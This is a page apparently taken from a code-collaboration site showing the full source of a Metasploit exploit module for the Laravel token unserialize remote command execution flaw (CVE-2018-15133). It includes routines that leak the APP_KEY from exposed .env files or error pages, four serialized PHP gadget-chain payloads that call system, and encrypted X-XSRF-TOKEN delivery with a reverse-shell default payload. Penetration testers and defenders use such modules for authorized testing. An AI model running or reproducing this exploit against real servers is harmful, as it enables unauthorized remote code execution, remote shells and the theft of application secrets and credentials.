Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/unix/http/laravel_token_unserialize_exec.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::Remote::HttpClient1011def initialize(info = {})12super(update_info(info,13'Name' => 'PHP Laravel Framework token Unserialize Remote Command Execution',14'Description' => %q{15This module exploits a vulnerability in the PHP Laravel Framework for versions 5.5.40, 5.6.x <= 5.6.29.16Remote Command Execution is possible via a correctly formatted HTTP X-XSRF-TOKEN header, due to17an insecure unserialize call of the decrypt method in Illuminate/Encryption/Encrypter.php.18Authentication is not required, however exploitation requires knowledge of the Laravel APP_KEY.19Similar vulnerabilities appear to exist within Laravel cookie tokens based on the code fix.20In some cases the APP_KEY is leaked which allows for discovery and exploitation.21},22'DisclosureDate' => '2018-08-07',23'Author' =>24[25'Ståle Pettersen', # Discovery26'aushack', # msf exploit + other leak27],28'References' =>29[30['CVE', '2018-15133'],31['CVE', '2017-16894'],32['URL', 'https://github.com/kozmic/laravel-poc-CVE-2018-15133'],33['URL', 'https://laravel.com/docs/5.6/upgrade#upgrade-5.6.30'],34['URL', 'https://github.com/laravel/framework/pull/25121/commits/d84cf988ed5d4661a4bf1fdcb08f5073835083a0']35],36'License' => MSF_LICENSE,37'Platform' => 'unix',38'Arch' => ARCH_CMD,39'DefaultTarget' => 0,40'Stance' => Msf::Exploit::Stance::Aggressive,41'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_perl' },42'Payload' => { 'DisableNops' => true },43'Targets' => [[ 'Automatic', {} ]],44))4546register_options([47OptString.new('TARGETURI', [ true, 'Path to target webapp', '/']),48OptString.new('APP_KEY', [ false, 'The base64 encoded APP_KEY string from the .env file', ''])49])50end5152def check53res = send_request_cgi({54'uri' => normalize_uri(target_uri.path, 'index.php'),55'method' => 'GET'56})5758# Can be 'XSRF-TOKEN', 'X-XSRF-TOKEN', 'laravel_session', or $appname_session... and maybe more?59unless res && res.headers && res.headers.to_s =~ /XSRF-TOKEN|laravel_session/i60return CheckCode::Unknown61end6263auth_token = check_appkey64if auth_token.blank? || test_appkey(auth_token) == false65vprint_error 'Unable to continue: the set datastore APP_KEY value or information leak is invalid.'66return CheckCode::Detected67end6869random_string = Rex::Text.rand_text_alphanumeric(12)70711.upto(4) do |method|72vuln = generate_token("echo #{random_string}", auth_token, method)7374res = send_request_cgi({75'uri' => normalize_uri(target_uri.path, 'index.php'),76'method' => 'POST',77'headers' => {78'X-XSRF-TOKEN' => "#{vuln}",79}80})8182if res.body.include?(random_string)83return CheckCode::Vulnerable84# Not conclusive but witnessed in the wild85elsif res.body.include?('Method Not Allowed')86return CheckCode::Safe87end88end89CheckCode::Detected90rescue Rex::ConnectionError91CheckCode::Unknown92end9394def env_leak95key = ''96vprint_status 'Checking for CVE-2017-16894 .env information leak'97res = send_request_cgi({98'uri' => normalize_uri(target_uri.path, '.env'),99'method' => 'GET'100})101102# Good but may be other software. Can also check for 'APP_NAME=Laravel' etc103return key unless res && res.body.include?('APP_KEY') && res.body =~ /APP_KEY\=base64:(.*)/104key = $1105106if key107vprint_good "APP_KEY Found via CVE-2017-16894 .env information leak: #{key}"108return key109end110111vprint_status 'Website .env file exists but didn\'t find a suitable APP_KEY'112key113end114115def framework_leak(decrypt_ex = true)116key = ''117if decrypt_ex118# Possible config error / 0day found by aushack during pentest119# Seen in the wild with recent releases120res = send_request_cgi({121'uri' => normalize_uri(target_uri.path, 'index.php'),122'method' => 'POST',123'headers' => {124'X-XSRF-TOKEN' => Rex::Text.rand_text_alpha(1) # May trigger125}126})127128return key unless res && res.body.include?('DecryptException') && res.body.include?('APP_KEY')129else130res = send_request_cgi({131'uri' => normalize_uri(target_uri.path, 'index.php'),132'method' => 'POST'133})134135return key unless res && res.body.include?('MethodNotAllowedHttpException') && res.body.include?('APP_KEY')136end137# Good sign but might be more universal with e.g. 'vendor/laravel/framework' ?138139# Leaks all environment config including passwords for databases, AWS, REDIS, SMTP etc... but only the APP_KEY appears to use base64140if res.body =~ /\>base64:(.*)\<\/span\>/141key = $1142vprint_good "APP_KEY Found via Laravel Framework error information leak: #{key}"143end144145key146end147148def check_appkey149key = datastore['APP_KEY'].present? ? datastore['APP_KEY'] : ''150return key unless key.empty?151152vprint_status 'APP_KEY not set. Will try to find it...'153key = env_leak154key = framework_leak if key.empty?155key = framework_leak(false) if key.empty?156key.empty? ? false : key157end158159def test_appkey(value)160value = Rex::Text.decode_base64(value)161return true if value && value.length.to_i == 32162163false164end165166def generate_token(cmd, key, method)167# Ported phpggc Laravel RCE php objects :)168case method169when 1170payload_decoded = 'O:40:"Illuminate\Broadcasting\PendingBroadcast":2:{s:9:"' + "\x00" + '*' + "\x00" + 'events";O:15:"Faker\Generator":1:{s:13:"' + "\x00" + '*' + "\x00" + 'formatters";a:1:{s:8:"dispatch";s:6:"system";}}s:8:"' + "\x00" + '*' + "\x00" + 'event";s:' + cmd.length.to_s + ':"' + cmd + '";}'171when 2172payload_decoded = 'O:40:"Illuminate\Broadcasting\PendingBroadcast":2:{s:9:"' + "\x00" + '*' + "\x00" + 'events";O:28:"Illuminate\Events\Dispatcher":1:{s:12:"' + "\x00" + '*' + "\x00" + 'listeners";a:1:{s:' + cmd.length.to_s + ':"' + cmd + '";a:1:{i:0;s:6:"system";}}}s:8:"' + "\x00" + '*' + "\x00" + 'event";s:' + cmd.length.to_s + ':"' + cmd + '";}'173when 3174payload_decoded = 'O:40:"Illuminate\Broadcasting\PendingBroadcast":1:{s:9:"' + "\x00" + '*' + "\x00" + 'events";O:39:"Illuminate\Notifications\ChannelManager":3:{s:6:"' + "\x00" + '*' + "\x00" + 'app";s:' + cmd.length.to_s + ':"' + cmd + '";s:17:"' + "\x00" + '*' + "\x00" + 'defaultChannel";s:1:"x";s:17:"' + "\x00" + '*' + "\x00" + 'customCreators";a:1:{s:1:"x";s:6:"system";}}}'175when 4176payload_decoded = 'O:40:"Illuminate\Broadcasting\PendingBroadcast":2:{s:9:"' + "\x00" + '*' + "\x00" + 'events";O:31:"Illuminate\Validation\Validator":1:{s:10:"extensions";a:1:{s:0:"";s:6:"system";}}s:8:"' + "\x00" + '*' + "\x00" + 'event";s:' + cmd.length.to_s + ':"' + cmd + '";}'177end178179cipher = OpenSSL::Cipher.new('AES-256-CBC') # Or AES-128-CBC - untested180cipher.encrypt181cipher.key = Rex::Text.decode_base64(key)182iv = cipher.random_iv183184value = cipher.update(payload_decoded) + cipher.final185pload = Rex::Text.encode_base64(value)186iv = Rex::Text.encode_base64(iv)187mac = OpenSSL::HMAC.hexdigest('SHA256', Rex::Text.decode_base64(key), iv+pload)188iv = iv.gsub('/', '\\/') # Escape slash189pload = pload.gsub('/', '\\/') # Escape slash190json_value = %Q({"iv":"#{iv}","value":"#{pload}","mac":"#{mac}"})191json_out = Rex::Text.encode_base64(json_value)192193json_out194end195196def exploit197auth_token = check_appkey198if auth_token.blank? || test_appkey(auth_token) == false199vprint_error 'Unable to continue: the set datastore APP_KEY value or information leak is invalid.'200return201end2022031.upto(4) do |method|204sploit = generate_token(payload.encoded, auth_token, method)205206res = send_request_cgi({207'uri' => normalize_uri(target_uri.path, 'index.php'),208'method' => 'POST',209'headers' => {210'X-XSRF-TOKEN' => sploit,211}212}, 5)213214# Stop when one of the deserialization attacks works215break if session_created?216217if res && res.body.include?('The MAC is invalid|Method Not Allowed') # Not conclusive218print_status 'Target appears to be patched or otherwise immune'219end220end221end222end223224225